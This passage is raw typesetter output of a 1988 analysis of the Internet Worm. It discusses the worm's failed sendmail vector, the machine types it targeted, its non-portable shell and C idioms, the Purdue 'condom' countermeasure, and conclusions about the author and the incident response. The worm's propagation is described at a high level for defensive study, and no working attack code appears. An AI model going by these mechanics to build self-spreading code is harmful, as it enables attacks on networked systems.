1473(nearly)S
1788(empty)S
2104(queue)S
2406(within)S
2729(120)S
2935(seconds)S
3323(of)S
3455(it)S
3558(being)S
3843(processed.)S
4376(The)S
4587(reason)S
4913(for)S
4410 V
720(this)S
931(is)S
1056(that)S
1272(the)S
1457(infecting)S
1898(Worm)S
2230(would)S
2557(only)S
2805(wait)S
3046(on)S
3208(the)S
3394(server)S
3712(socket)S
4044(for)S
4223(two)S
4440(minutes)S
4841(after)S
4540 V
720(delivering)S
1222(the)S
1412(``infecting)S
1930(mail.'')S
2282(Thus,)S
2586(on)S
2752(systems)S
3157(with)S
3409(delayed)S
3805(queues,)S
4193(the)S
4383(vector)S
4712(process)S
4670 V
720(would)S
1035(not)S
1216(get)S
1390(built)S
1634(in)S
1761(time)S
1998(to)S
2125(transfer)S
2499(the)S
2674(main)S
2935(Worm)S
3256(program)S
3668(over)S
3903(to)S
4030(the)S
4205(target.)S
4556(The)S
4767(vector)S
4800 V
720(process)S
1081(would)S
1389(fail)S
1568(in)S
1687(its)S
1825(connection)S
2339(attempt)S
2702(and)S
2893(exit)S
3091(with)S
3320(a)S
3401(non-zero)S
3822(status.)S
4966 V
970(Additionally,)S
1600(the)S
1779(attack)S
2085(through)S
2472(sendmail)S
2914(invoked)S
3313(the)S
3492(vector)S
3811(program)S
4228(without)S
4611(a)S
4705(speci\256c)S
5096 V
720(path.)S
1014(That)S
1259(is,)S
1405(the)S
1583(program)S
1998(was)S
2212(invoked)S
2610(with)S
2850(``foo'')S
3184(instead)S
3538(of)S
3672(``./foo'')S
4064(as)S
4198(was)S
4411(done)S
4667(with)S
4906(the)S
5226 V
720(shell-based)S
1251(attack.)S
1611(As)S
1771(a)S
1857(result,)S
2167(on)S
2315(systems)S
2702(where)S
3006(the)S
3178(default)S
3520(path)S
3748(used)S
3988(by)S
4137(sendmail's)S
4652(shell)S
4899(did)S
5356 V
720(not)S
913(contain)S
1288(the)S
1474(current)S
1835(directory)S
2282(\(``.''\),)S
2606(the)S
2791(invocation)S
3306(of)S
3448(the)S
3633(code)S
3890(would)S
4216(fail.)S
4474(It)S
4592(should)S
4937(be)S
5486 V
720(noted)S
1005(that)S
1211(such)S
1453(a)S
1542(failure)S
1868(interrupts)S
2330(the)S
2505(processing)S
3016(of)S
3149(subsequent)S
3679(commands)S
4197(\(such)S
4476(as)S
4609(the)S
11 I
4785(rm)S
11 R
4949(of)S
5616 V
720(the)S
890(\256les\),)S
1173(and)S
1366(this)S
1561(may)S
1785(be)S
1923(why)S
2147(many)S
2426(system)S
2767(administrators)S
3431(discovered)S
3940(copies)S
4255(of)S
4381(the)S
4550(vector)S
4858(pro-)S
5746 V
720(gram)S
978(source)S
1296(code)S
1535(in)S
1654(their)S
1888(/usr/tmp)S
2289(directories.)S
6006 V
11 B
720(6.4.2.)S
1035(The)S
1252(machines)S
1725(involved)S
6172 V
11 R
970(As)S
1149(has)S
1352(already)S
1730(been)S
1993(noted,)S
2322(this)S
2539(attack)S
2857(was)S
3084(made)S
3378(only)S
3632(on)S
3800(Sun)S
4030(3)S
4143(machines)S
4615(and)S
4831(V)S
9 R
4910(AX)S
6302 V
11 R
720(machines)S
1170(running)S
1548(BSD)S
1799(U)S
9 R
1878(NIX)S
11 R
2038(.)S
2135(It)S
2238(has)S
2420(been)S
2662(observed)S
3093(in)S
3215(at)S
3330(least)S
3567(one)S
3761(mailing)S
4134(list)S
4306(that)S
4506(had)S
4699(the)S
4868(Sun)S
6432 V
720(code)S
970(been)S
1220(compiled)S
1673(with)S
1913(the)S
2091(-mc68010)S
2580(\257ag,)S
2817(more)S
3086(Sun)S
3303(machines)S
3762(would)S
4082(have)S
4333(fallen)S
4627(victim)S
4954(to)S
6562 V
720(the)S
908(Worm.)S
1302(It)S
1422(is)S
1549(a)S
1650(matter)S
1983(of)S
2127(some)S
2412(curiosity)S
2850(why)S
3092(more)S
3370(machines)S
3837(were)S
4101(not)S
4295(targeted)S
4700(for)S
4880(this)S
6692 V
720(attack.)S
1083(In)S
1215(particular,)S
1703(there)S
1963(are)S
2137(many)S
2423(Pyramid,)S
2866(Sequent,)S
3290(Gould,)S
3635(Sun)S
3849(4,)S
3974(and)S
4174(Sun)S
4388(i386)S
4626(machines)S
6822 V
720(on)S
864(the)S
1032(net.)S
6786 V
9 R
1194(17)S
6822 V
11 R
1318(If)S
1424(binary)S
1738(\256les)S
1956(for)S
2118(those)S
2385(had)S
2578(also)S
2790(been)S
3031(included,)S
3472(the)S
3641(Worm)S
3956(could)S
4235(have)S
4476(spread)S
4796(much)S
6932 V
9 Y1
720(3333333333333333)S
7032 V
7 R
820(17)S
7060 V
9 R
935(The)S
1121(thought)S
1442(of)S
1563(a)S
1649(Sequent)S
1985(Symmetry)S
2406(or)S
2527(Gould)S
2798(NP1)S
3004(infected)S
3340(with)S
3547(multiple)S
3894(copies)S
4171(of)S
4293(the)S
4450(Worm)S
7170 V
720(presents)S
1045(an)S
1160(awesome)S
1525(\(and)S
1715(awful\))S
1980(thought.)S
2335(The)S
2505(e)S
2545 H
	(f)show 9 -.5 mul h (f)show
9 R
2600(ects)S
2770(noticed)S
3065(locally)S
3340(when)S
3565(the)S
3704(Worm)S
3963(broke)S
4197(into)S
4366(a)S
4435(mostly)S
7280 V
720(unloaded)S
1078(V)S
7 R
1143(AX)S
9 R
1271(8800)S
1479(were)S
1682(spectacular.)S
2165(The)S
2333(e)S
2373 H
	(f)show 9 -.5 mul h (f)show
9 R
2428(ects)S
2596(on)S
2714(a)S
2782(machine)S
3115(with)S
3303(one)S
3461(or)S
3564(two)S
3728(orders)S
3982(of)S
4086(magnitude)S
4495(more)S
7920 V
EP
%%Page: 25 26
BP
/slant 0 def
/height 1.000000 def
9 R
9 R
490 V
11 R
2756(- 25 -)S
850 V
720(further.)S
1114(As)S
1273(it)S
1372(was,)S
1607(some)S
1876(locations)S
2310(such)S
2548(as)S
2676(Ohio)S
2933(State)S
3190(were)S
3438(completely)S
3963(spared)S
4285(the)S
4456(e)S
4504 H
	(f)show 11 -.5 mul h (f)show
11 R
4571(ects)S
4778(of)S
4906(the)S
980 V
720(Worm)S
1050(because)S
1445(all)S
1605(their)S
1856(``known'')S
2349(machines)S
2813(were)S
3074(of)S
3215(a)S
3313(type)S
3552(that)S
3767(the)S
3951(Worm)S
4280(could)S
4573(not)S
4763(infect.)S
1110 V
720(Since)S
1000(the)S
1170(author)S
1486(of)S
1613(the)S
1784(program)S
2192(knew)S
2466(how)S
2692(to)S
2815(break)S
3094(into)S
3303(arbitrary)S
3716(U)S
9 R
3795(NIX)S
11 R
3992(machines,)S
4471(it)S
4570(seems)S
4875(odd)S
1240 V
720(that)S
925(he/she)S
1245(did)S
1426(not)S
1607(attempt)S
1977(to)S
2103(compile)S
2497(the)S
2671(program)S
3082(on)S
3232(foreign)S
3587(architectures)S
4184(to)S
4309(include)S
4671(with)S
4906(the)S
1370 V
720(Worm.)S
1630 V
11 B
720(6.4.3.)S
1035(Portability)S
1575(considerations)S
1796 V
11 R
970(The)S
1174(author\(s\))S
1603(of)S
1728(the)S
1896(Worm)S
2210(may)S
2433(not)S
2608(have)S
2848(had)S
3040(much)S
3318(experience)S
3824(with)S
4054(writing)S
4407(portable)S
4801(U)S
9 R
4880(NIX)S
1926 V
11 R
720(code,)S
999(including)S
1460(shell)S
1713(scripts.)S
2106(Consider)S
2548(that)S
2758(in)S
2889(the)S
3068(shell)S
3321(script)S
3610(used)S
3855(to)S
3985(compile)S
4383(the)S
4561(vector,)S
4906(the)S
2056 V
720(following)S
1181(command)S
1647(is)S
1754(used:)S
2246 V
2659(if)S
2759([)S
2828(-f)S
2933(sh)S
3064(])S
2436 V
720(The)S
928(use)S
1112(of)S
1241(the)S
1413([)S
1487(character)S
1923(as)S
2052(a)S
2138(synonym)S
2580(for)S
2745(the)S
11 I
2917(test)S
11 R
3108(function)S
3512(is)S
3624(not)S
3803(universal.)S
4304(U)S
9 R
4383(NIX)S
11 R
4581(users)S
4844(with)S
2566 V
720(experience)S
1228(writing)S
1582(portable)S
1977(shell)S
2220(\256les)S
2439(tend)S
2663(to)S
2784(spell)S
3027(out)S
3203(the)S
3372(operator)S
11 I
3771(test)S
11 R
3959(rather)S
4248(than)S
4472(rely)S
4677(on)S
4822(there)S
2696 V
720(being)S
1001(a)S
1086(link)S
1295(to)S
1418(a)S
1503(\256le)S
1682(named)S
2012(``['')S
2230(on)S
2378(any)S
2574(particular)S
3031(system.)S
3436(They)S
3699(also)S
3914(know)S
4196(that)S
4399(the)S
11 I
4571(test)S
11 R
4762(opera-)S
2826 V
720(tor)S
889(is)S
1010(built-in)S
1382(to)S
1515(many)S
1805(shells)S
2102(and)S
2306(thus)S
2536(faster)S
2824(than)S
3059(the)S
3239(external)S
3637([)S
3719(variant,)S
4097(although)S
4528(most)S
4789(shells)S
2956 V
720(now)S
942(have)S
1181(the)S
1348([)S
1417(alias)S
1651(as)S
1775(built-in)S
2133(functions)S
2575(as)S
2699(well.)S
3122 V
970(The)S
11 I
1177(test)S
11 R
1367(invocation)S
1868(used)S
2106(in)S
2229(the)S
2400(Worm)S
2717(code)S
2960(also)S
3174(uses)S
3400(the)S
11 I
3571(-f)S
11 R
3675(\257ag)S
3878(to)S
4002(test)S
4193(for)S
4358(presence)S
4777(of)S
4906(the)S
3252 V
720(\256le)S
899(named)S
11 I
1229(sh)S
11 R
1327(.)S
1426(This)S
1660(provided)S
2088(us)S
2224(with)S
2458(the)S
2630(Worm)S
2949(``condom'')S
3486(published)S
3953(Thursday)S
4406(night:)S
3216 V
9 R
4664(18)S
3252 V
11 R
4793(creat-)S
3382 V
720(ing)S
895(a)S
977(directory)S
1406(with)S
1636(the)S
1804(name)S
11 I
2075(sh)S
11 R
2207(in)S
2327(/usr/tmp)S
2729(causes)S
3048(this)S
3242(test)S
3429(to)S
3549(fail,)S
3757(as)S
3882(do)S
4026(later)S
4254(attempts)S
4661(to)S
4781(create)S
3512 V
720(executable)S
1224(\256les)S
1445(by)S
1592(that)S
1794(name.)S
2129(Experienced)S
2712(shell)S
2957(programmers)S
3578(tend)S
3804(to)S
3927(use)S
4110(the)S
4282(equivalent)S
4777(of)S
4906(the)S
3642 V
11 I
720(-e)S
11 R
848(\(exists\))S
1215(\257ag)S
1424(in)S
1554(the)S
1732(csh)S
11 I
1922(test)S
11 R
2119(function)S
2529(in)S
2658(circumstances)S
3321(such)S
3565(as)S
3699(this,)S
3930(to)S
4059(detect)S
4363(not)S
4547(only)S
4786(direc-)S
3772 V
720(tories,)S
1025(but)S
1199(sockets,)S
1583(devices,)S
1972(named)S
2297(FIFOs,)S
2640(etc.)S
3938 V
970(Other)S
1252(colloquialisms)S
1928(are)S
2093(present)S
2442(in)S
2561(the)S
2728(code)S
2967(that)S
3165(bespeak)S
3550(a)S
3631(lack)S
3846(of)S
3970(experience)S
4475(writing)S
4827(port-)S
4068 V
720(able)S
944(code.)S
1253(One)S
1477(such)S
1720(example)S
2133(is)S
2249(the)S
2425(code)S
2673(loop)S
2911(where)S
3219(\256le)S
3401(units)S
3657(are)S
3830(closed)S
4151(just)S
4352(after)S
4592(the)S
4767(vector)S
4198 V
720(program)S
1133(starts)S
1407(executing,)S
1903(and)S
2103(again)S
2382(in)S
2510(the)S
2686(main)S
2948(program)S
3361(just)S
3563(after)S
3804(it)S
3908(starts)S
4182(executing.)S
4711(In)S
4844(both)S
4328 V
720(programs,)S
1195(code)S
1434(such)S
1668(as)S
1792(the)S
1959(following)S
2420(is)S
2527(executed:)S
4518 V
2381(for)S
2541(\(i)S
2641(=)S
2736(0;)S
2855(i)S
2919(<)S
3014(32;)S
3188(i++\))S
4648 V
2656(close\(i\);)S
4838 V
720(The)S
924(portable)S
1318(way)S
1535(to)S
1656(accomplish)S
2191(the)S
2360(task)S
2572(of)S
2698(closing)S
3051(all)S
3196(\256le)S
3372(descriptors)S
3888(\(on)S
4069(Berkeley-derived)S
4863(sys-)S
4968 V
720(tems\))S
997(is)S
1104(to)S
1223(execute:)S
5158 V
2114(for)S
2274(\(i)S
2374(=)S
2469(0;)S
2588(i)S
2652(<)S
2747(getdtablesize\(\);)S
3455(i++\))S
5288 V
2389(close)S
2647(\(i\);)S
5478 V
720(or)S
844(the)S
1011(even)S
1250(more)S
1508(e)S
1556 H
	(f)show 11 -.5 mul h (\256)show
11 R
1648(cient)S
5668 V
2063(for)S
2223(\(i)S
2323(=)S
2418(getdtablesize\(\)-1;)S
3217(i)S
3281(>=)S
3438(0;)S
3557(i--\))S
5798 V
2338(close\(i\);)S
5988 V
720(This)S
951(is)S
1060(because)S
1440(the)S
1609(number)S
1979(of)S
2105(\256le)S
2281(units)S
2531(available)S
2961(\(and)S
3190(thus)S
3410(open\))S
3695(may)S
3920(vary)S
4150(from)S
4399(system)S
4741(to)S
4863(sys-)S
6118 V
720(tem.)S
6722 V
9 Y1
720(3333333333333333)S
6832 V
9 R
720(capacity)S
1047(is)S
1134(a)S
1201(frightening)S
1628(thought.)S
6932 V
7 R
820(18)S
6960 V
9 R
935(Developed)S
1369(by)S
1503(a)S
1587(group)S
1841(of)S
1960(Purdue)S
2259(system)S
2553(administrators)S
3112(and)S
3285(system)S
3578(programmers,)S
4124(and)S
4297(tested)S
4550(and)S
7070 V
720(veri\256ed)S
1022(by)S
1139(Kevin)S
1386(Braunsdorf)S
1818(and)S
1975(Rich)S
2172(Kulawiec)S
2544(at)S
2636(Purdue)S
2918(PUCC.)S
7920 V
EP
%%Page: 26 27
BP
/slant 0 def
/height 1.000000 def
9 R
9 R
490 V
11 R
2756(- 26 -)S
850 V
11 B
720(6.5.)S
952(Summary)S
1016 V
11 R
970(Many)S
1270(other)S
1539(examples)S
1997(can)S
2192(be)S
2339(drawn)S
2656(from)S
2913(the)S
3091(code,)S
3369(but)S
3555(the)S
3734(points)S
4049(should)S
4388(be)S
4536(obvious)S
4930(by)S
1146 V
720(now:)S
976(the)S
1146(author)S
1462(of)S
1589(the)S
1759(Worm)S
2074(program)S
2480(may)S
2704(have)S
2945(been)S
3186(a)S
3269(moderately)S
3797(experienced)S
4359(U)S
9 R
4438(NIX)S
11 R
4633(program-)S
1276 V
720(mer,)S
972(but)S
1167(s/he)S
1398(was)S
1622(by)S
1786(no)S
1950(means)S
2284(the)S
2473(``U)S
9 R
2624(NIX)S
11 R
2839(Wizard'')S
3287(many)S
3586(have)S
3847(been)S
4108(claiming.)S
4609(The)S
4834(code)S
1406 V
720(employs)S
1134(a)S
1222(few)S
1425(clever)S
1731(techniques)S
2240(and)S
2438(tricks,)S
2750(but)S
2931(there)S
3189(is)S
3303(some)S
3575(doubt)S
3866(if)S
3973(they)S
4202(are)S
4374(all)S
4524(the)S
4698(original)S
1536 V
720(work)S
988(of)S
1122(the)S
1299(Worm)S
1623(author.)S
2008(The)S
2222(code)S
2472(seems)S
2784(to)S
2914(be)S
3061(the)S
3239(product)S
3618(of)S
3753(an)S
3900(inexperienced,)S
4585(rushed,)S
4949(or)S
1666 V
720(sloppy)S
1064(programmer.)S
1716(The)S
1936(person)S
2278(\(or)S
2455(persons\))S
2876(who)S
3114(put)S
3304(this)S
3513(program)S
3933(together)S
4341(appears)S
4723(to)S
4858(lack)S
1796 V
720(fundamental)S
1310(insight)S
1653(into)S
1867(some)S
2141(algorithms,)S
2682(data)S
2906(structures,)S
3402(and)S
3603(network)S
4005(propagation,)S
4600(but)S
4784(at)S
4906(the)S
1926 V
720(same)S
978(time)S
1207(has)S
1386(some)S
1651(very)S
1878(sophisticated)S
2485(knowledge)S
2999(of)S
3123(network)S
3515(features)S
3893(and)S
4084(facilities.)S
2092 V
970(The)S
1184(code)S
1434(does)S
1679(not)S
1864(appear)S
2198(to)S
2328(have)S
2578(been)S
2828(tested)S
3129(\(although)S
3595(anything)S
4025(other)S
4295(than)S
4529(unit)S
4746(testing)S
2222 V
720(would)S
1042(not)S
1230(be)S
1380(simple)S
1720(to)S
1852(do\),)S
2072(or)S
2209(else)S
2425(it)S
2533(was)S
2749(prematurely)S
3324(released.)S
3788(Actually,)S
4240(it)S
4348(is)S
4468(possible)S
4875(that)S
2352 V
720(both)S
955(of)S
1085(these)S
1349(conclusions)S
1907(are)S
2078(correct.)S
2480(The)S
2689(presence)S
3109(of)S
3239(so)S
3376(much)S
3659(dead)S
3905(and)S
4103(duplicated)S
4600(code)S
4846(cou-)S
2482 V
720(pled)S
946(with)S
1179(the)S
1350(size)S
1556(of)S
1683(some)S
1951(data)S
2169(structures)S
2631(\(such)S
2904(as)S
3031(the)S
3201(20-slot)S
3543(object)S
3847(code)S
4089(array\))S
4384(argues)S
4705(that)S
4906(the)S
2612 V
720(program)S
1124(was)S
1327(intended)S
1738(to)S
1857(be)S
1993(more)S
2251(comprehensive.)S
2872 V
11 B
720(7.)S
869(Conclusions)S
3038 V
11 R
970(It)S
1075(is)S
1187(clear)S
1437(from)S
1689(the)S
1862(code)S
2107(that)S
2311(the)S
2484(worm)S
2779(was)S
2988(deliberately)S
3544(designed)S
3973(to)S
4098(do)S
4247(two)S
4451(things:)S
4791(infect)S
3168 V
720(as)S
848(many)S
1129(machines)S
1580(as)S
1708(possible,)S
2134(and)S
2329(be)S
2469(di)S
2555 H
	(f)show 11 -.5 mul h (\256)show
11 R
2647(cult)S
2849(to)S
2972(track)S
3227(and)S
3422(stop.)S
3704(There)S
3994(can)S
4181(be)S
4320(no)S
4466(question)S
4875(that)S
3298 V
720(this)S
913(was)S
1116(in)S
1235(any)S
1426(way)S
1641(an)S
1777(accident,)S
2202(although)S
2620(its)S
2758(release)S
3093(may)S
3315(have)S
3554(been)S
3793(premature.)S
3464 V
970(It)S
1084(is)S
1205(still)S
1419(unknown)S
1875(if)S
1989(this)S
2196(worm,)S
2527(or)S
2665(a)S
2760(future)S
3068(version)S
3438(of)S
3576(it,)S
3713(was)S
3930(to)S
4063(accomplish)S
4610(any)S
4815(other)S
3594 V
720(tasks.)S
1044(Although)S
1503(an)S
1649(author)S
1972(has)S
2161(been)S
2410(alleged)S
2769(\(Robert)S
3147(T.)S
3285(Morris\),)S
3690(he)S
3835(has)S
4023(not)S
4206(publicly)S
4609(confessed)S
3724 V
720(nor)S
900(has)S
1080(the)S
1248(matter)S
1562(been)S
1802(de\256nitively)S
2338(proven.)S
2737(Considering)S
3309(the)S
3477(probability)S
3994(of)S
4119(both)S
4349(civil)S
4579(and)S
4772(crimi-)S
3854 V
720(nal)S
890(legal)S
1139(actions,)S
1514(a)S
1598(confession)S
2102(and)S
2295(an)S
2433(explanation)S
2980(are)S
3147(unlikely)S
3543(to)S
3664(be)S
3802(forthcoming)S
4380(any)S
4573(time)S
4804(soon.)S
3984 V
720(Speculation)S
1276(has)S
1459(centered)S
1865(on)S
2012(motivations)S
2570(as)S
2698(diverse)S
3051(as)S
3179(revenge,)S
3589(pure)S
3820(intellectual)S
4345(curiosity,)S
4796(and)S
4992(a)S
4114 V
720(desire)S
1016(to)S
1137(impress)S
1514(someone.)S
2000(This)S
2230(must)S
2479(remain)S
2817(speculation)S
3351(for)S
3512(the)S
3680(time)S
3910(being,)S
4216(however,)S
4654(since)S
4913(we)S
4244 V
720(do)S
863(not)S
1037(have)S
1276(access)S
1587(to)S
1706(a)S
1787(de\256nitive)S
2236(statement)S
2690(from)S
2937(the)S
3105(author\(s\).)S
3595(At)S
3739(the)S
3907(least,)S
4170(there)S
4422(must)S
4671(be)S
4808(some)S
4374 V
720(question)S
1126(about)S
1403(the)S
1570(psychological)S
2213(makeup)S
2593(of)S
2717(someone)S
3140(who)S
3362(would)S
3670(build)S
3930(and)S
4121(run)S
4300(such)S
4534(software.)S
4338 V
9 R
4938(19)S
4540 V
11 R
970(Many)S
1285(people)S
1636(have)S
1902(stated)S
2218(that)S
2443(the)S
2637(authors)S
3020(of)S
3171(this)S
3391(code)S
4504 V
9 R
3597(20)S
4540 V
11 R
3747(must)S
4022(have)S
4288(been)S
4554(``computer)S
4670 V
720(geniuses'')S
1204(of)S
1329(some)S
1595(sort.)S
1855(I)S
1925(have)S
2165(been)S
2404(bothered)S
2820(by)S
2963(that)S
3161(supposition)S
3703(since)S
3961(\256rst)S
4166(hearing)S
4527(it,)S
4650(and)S
4841(after)S
4800 V
720(having)S
1060(examined)S
1527(the)S
1702(code)S
1949(in)S
2076(some)S
2349(depth,)S
2662(I)S
2739(am)S
2914(convinced)S
3405(that)S
3611(this)S
3812(program)S
4225(is)S
4341(not)S
4524(evidence)S
4954(to)S
4930 V
720(support)S
1092(any)S
1292(such)S
1535(claim.)S
1882(The)S
2094(code)S
2342(was)S
2554(apparently)S
3057(un\256nished)S
3557(and)S
3756(done)S
4010(by)S
4161(someone)S
4592(clever)S
4899(but)S
5060 V
720(not)S
902(particularly)S
1448(gifted,)S
1773(at)S
1893(least)S
2135(in)S
2263(the)S
2439(way)S
2663(we)S
2832(usually)S
3192(associate)S
3629(with)S
3867(talented)S
4256(programmers)S
4882(and)S
5190 V
720(designers.)S
1235(There)S
1528(were)S
1778(many)S
2061(bugs)S
2308(and)S
2505(mistakes)S
2929(in)S
3054(the)S
3227(code)S
3472(that)S
3676(would)S
3990(not)S
4170(be)S
4312(made)S
4588(by)S
4737(a)S
4824(care-)S
5320 V
720(ful,)S
903(competent)S
1393(programmer.)S
2028(The)S
2231(code)S
2470(does)S
2704(not)S
2878(evidence)S
3299(clear)S
3543(understanding)S
4198(of)S
4322(good)S
4575(data)S
4791(struc-)S
5450 V
720(turing,)S
1044(algorithms,)S
1576(or)S
1700(even)S
1939(of)S
2063(security)S
2443(\257aws)S
2708(in)S
2827(U)S
9 R
2906(NIX)S
11 R
3066(.)S
3160(It)S
3260(does)S
3494(contain)S
3850(clever)S
4149(exploitations)S
4751(of)S
4875(two)S
5580 V
720(speci\256c)S
1096(\257aws)S
1369(in)S
1496(system)S
1843(utilities,)S
2244(but)S
2426(that)S
2632(is)S
2747(hardly)S
3068(evidence)S
3497(of)S
3629(genius.)S
4018(In)S
4151(general,)S
4542(the)S
4718(code)S
4966(is)S
5710 V
720(not)S
899(that)S
1102(impressive,)S
1644(and)S
1840(its)S
1983(``success'')S
2493(was)S
2701(due)S
2897(at)S
3014(least)S
3253(as)S
3382(much)S
3664(to)S
3788(a)S
3874(large)S
4129(amount)S
4496(of)S
4624(luck)S
4850(as)S
4978(it)S
5840 V
720(was)S
923(due)S
1114(to)S
1233(programming)S
1864(skill)S
2088(possessed)S
2554(by)S
2697(the)S
2864(author.)S
5950 V
9 Y1
720(3333333333333333)S
6050 V
7 R
820(19)S
6078 V
9 R
935(Rick)S
1138(Adams,)S
1449(of)S
1557(the)S
1700(Center)S
1973(for)S
2112(Seismic)S
2431(Studies,)S
2753(has)S
2907(commented)S
3361(that)S
3530(we)S
3669(may)S
3858(someday)S
4212(hear)S
4401(that)S
4570(the)S
6188 V
720(worm)S
958(was)S
1126(loosed)S
1389(to)S
1487(impress)S
1795(Jodie)S
2013(Foster.)S
2316(Without)S
2639(further)S
2912(information,)S
3388(this)S
3546(is)S
3634(as)S
3737(valid)S
3944(a)S
4011(speculation)S
4448(as)S
4550(any)S
6298 V
720(other,)S
959(and)S
1120(should)S
1391(raise)S
1592(further)S
1868(disturbing)S
2264(questions;)S
2687(not)S
2833(everyone)S
3194(with)S
3385(access)S
3646(to)S
3747(computers)S
4153(is)S
4244(rational)S
4550(and)S
6408 V
720(sane,)S
930(and)S
1087(future)S
1329(attacks)S
1606(may)S
1788(re\257ect)S
2040(this.)S
6508 V
7 R
820(20)S
6536 V
9 R
935(Throughout)S
1392(this)S
1554(paper)S
1786(I)S
1848(have)S
2050(been)S
2252(writing)S
9 I
2544(author\(s\))S
9 R
2911(instead)S
3198(of)S
9 I
3305(author)S
9 R
3545(.)S
3627(It)S
3715(occurs)S
3983(to)S
4086(me)S
4229(that)S
4397(most)S
4605(of)S
6646 V
720(the)S
862(mail,)S
1077(Usenet)S
1359(postings,)S
1714(and)S
1876(media)S
2128(coverage)S
2485(of)S
2592(this)S
2754(incident)S
3076(have)S
3277(assumed)S
3618(that)S
3784(it)S
3865(was)S
9 I
4036(author)S
9 R
4307(\(singular\).)S
6756 V
720(Are)S
885(we)S
1020(so)S
1130(unaccustomed)S
1675(to)S
1775(working)S
2105(together)S
2430(on)S
2550(programs)S
2920(that)S
3085(this)S
3245(is)S
3335(our)S
3485(natural)S
3765(inclination?)S
4247(Or)S
4373(is)S
4464(it)S
4545(that)S
6866 V
720(we)S
854(\256nd)S
1023(it)S
1102(hard)S
1291(to)S
1390(believe)S
1679(that)S
1843(more)S
2057(than)S
2241(one)S
2400(individual)S
2794(could)S
3023(have)S
3222(such)S
3416(poor)S
3610(judgement?)S
4086(I)S
4144(also)S
4317(noted)S
4545(that)S
6976 V
720(most)S
934(of)S
1048(people)S
1327(I)S
1396(spoke)S
1645(with)S
1844(seemed)S
2153(to)S
2262(assume)S
2566(that)S
2740(the)S
2889(worm)S
3138(author)S
3407(was)S
3586(male.)S
3850(I)S
3920(leave)S
4150(it)S
4240(to)S
4350(others)S
4610(to)S
7086 V
720(speculate)S
1082(on)S
1199(the)S
1336(value,)S
1581(if)S
1663(any,)S
1843(of)S
1945(these)S
2157(observations.)S
7920 V
EP
%%Page: 27 28
BP
/slant 0 def
/height 1.000000 def
9 R
9 R
490 V
11 R
2756(- 27 -)S
850 V
970(Chance)S
1336(favored)S
1707(most)S
1960(of)S
2089(us,)S
2253(however.)S
2695(The)S
2903(e)S
2951 H
	(f)show 11 -.5 mul h (f)show
11 R
3018(ects)S
3227(of)S
3357(this)S
3556(worm)S
3851(were)S
4101(\(largely\))S
4516(benign,)S
4882(and)S
980 V
720(it)S
823(was)S
1034(easily)S
1331(stopped.)S
1775(Had)S
1998(the)S
2173(code)S
2420(been)S
2667(tested)S
2963(and)S
3161(developed)S
3651(further,)S
4016(or)S
4147(had)S
4345(it)S
4447(been)S
4693(coupled)S
1110 V
720(with)S
953(something)S
1449(destructive,)S
1995(the)S
2166(toll)S
2351(would)S
2663(have)S
2906(been)S
3150(considerably)S
3748(higher.)S
4127(I)S
4201(can)S
4390(easily)S
4684(think)S
4949(of)S
1240 V
720(several)S
1068(dozen)S
1368(people)S
1699(who)S
1927(could)S
2210(have)S
2455(written)S
2805(this)S
3004(program,)S
3441(and)S
3637(not)S
3816(only)S
4050(done)S
4301(it)S
4401(with)S
4635(far)S
4793(fewer)S
1370 V
720(\(if)S
871(any\))S
1113(errors,)S
1443(but)S
1632(made)S
1918(it)S
2029(considerably)S
2638(more)S
2912(virulent.)S
3364(Thankfully,)S
3929(those)S
4210(individuals)S
4749(are)S
4930(all)S
1500 V
720(responsible,)S
1281(dedicated)S
1733(professionals)S
2345(who)S
2567(would)S
2875(not)S
3049(consider)S
3453(such)S
3687(an)S
3823(act.)S
1666 V
970(What)S
1242(we)S
1405(learn)S
1659(from)S
1908(this)S
2104(about)S
2384(securing)S
2791(our)S
2973(systems)S
3358(will)S
3566(help)S
3791(determine)S
4265(if)S
4368(this)S
4564(is)S
4674(the)S
4844(only)S
1796 V
720(such)S
961(incident)S
1355(we)S
1522(ever)S
1749(need)S
1995(to)S
2121(analyze.)S
2555(This)S
2791(attack)S
3092(should)S
3426(also)S
3643(point)S
3909(out)S
4089(that)S
4293(we)S
4459(need)S
4704(a)S
4791(better)S
1926 V
720(mechanism)S
1254(in)S
1374(place)S
1638(to)S
1759(coordinate)S
2256(information)S
2810(about)S
3089(security)S
3471(\257aws)S
3738(and)S
3931(attacks.)S
4331(The)S
4536(response)S
4954(to)S
2056 V
720(this)S
934(incident)S
1342(was)S
1566(largely)S
1924(ad)S
2081(hoc,)S
2321(and)S
2533(resulted)S
2934(in)S
3073(both)S
3322(duplication)S
3870(of)S
4014(e)S
4062 H
	(f)show 11 -.5 mul h (f)show
11 R
4129(ort)S
4304(and)S
4515(a)S
4616(failure)S
4954(to)S
2186 V
720(disseminate)S
1286(valuable)S
1704(information)S
2270(to)S
2403(sites)S
2646(that)S
2858(needed)S
3214(it.)S
3384(Many)S
3688(site)S
3889(administrators)S
4566(discovered)S
2316 V
720(the)S
888(problem)S
1288(from)S
1535(reading)S
1897(the)S
2065(newspaper)S
2566(or)S
2690(watching)S
3125(the)S
3292(television.)S
3814(The)S
4017(major)S
4306(sources)S
4667(of)S
4791(infor-)S
2446 V
720(mation)S
1061(for)S
1223(many)S
1502(of)S
1628(the)S
1797(sites)S
2028(a)S
2076 H
	(f)show 11 -.5 mul h (f)show
11 R
2143(ected)S
2408(seems)S
2711(to)S
2833(have)S
3075(been)S
3317(Usenet)S
3657(news)S
3918(groups)S
4253(and)S
4447(a)S
4531(mailing)S
4904(list)S
2576 V
720(I)S
806(put)S
997(together)S
1405(when)S
1691(the)S
1874(worm)S
2179(was)S
2398(\256rst)S
2619(discovered.)S
3203(Although)S
3668(useful,)S
4013(these)S
4287(methods)S
4709(did)S
4899(not)S
2706 V
720(ensure)S
1082(timely,)S
1469(widespread)S
2044(dissemination)S
2733(of)S
2901(useful)S
3247(information)S
3844(\320)S
4032(especially)S
4548(since)S
4851(they)S
2836 V
720(depended)S
1175(on)S
1321(the)S
1491(Internet)S
1867(to)S
1989(work!)S
2319(Over)S
2573(three)S
2827(weeks)S
3135(after)S
3369(this)S
3564(incident)S
3953(some)S
4220(sites)S
4451(were)S
4697(still)S
4899(not)S
2966 V
720(reconnected)S
1280(to)S
1399(the)S
1566(Internet.)S
3132 V
970(This)S
1206(is)S
1320(the)S
1494(second)S
1839(time)S
2076(in)S
2203(six)S
2373(months)S
2739(that)S
2945(a)S
3034(major)S
3331(panic)S
3609(has)S
3796(hit)S
3954(the)S
4129(Internet)S
4510(community.)S
3262 V
720(The)S
933(\256rst)S
1147(occurred)S
1570(in)S
1698(May)S
1941(when)S
2220(a)S
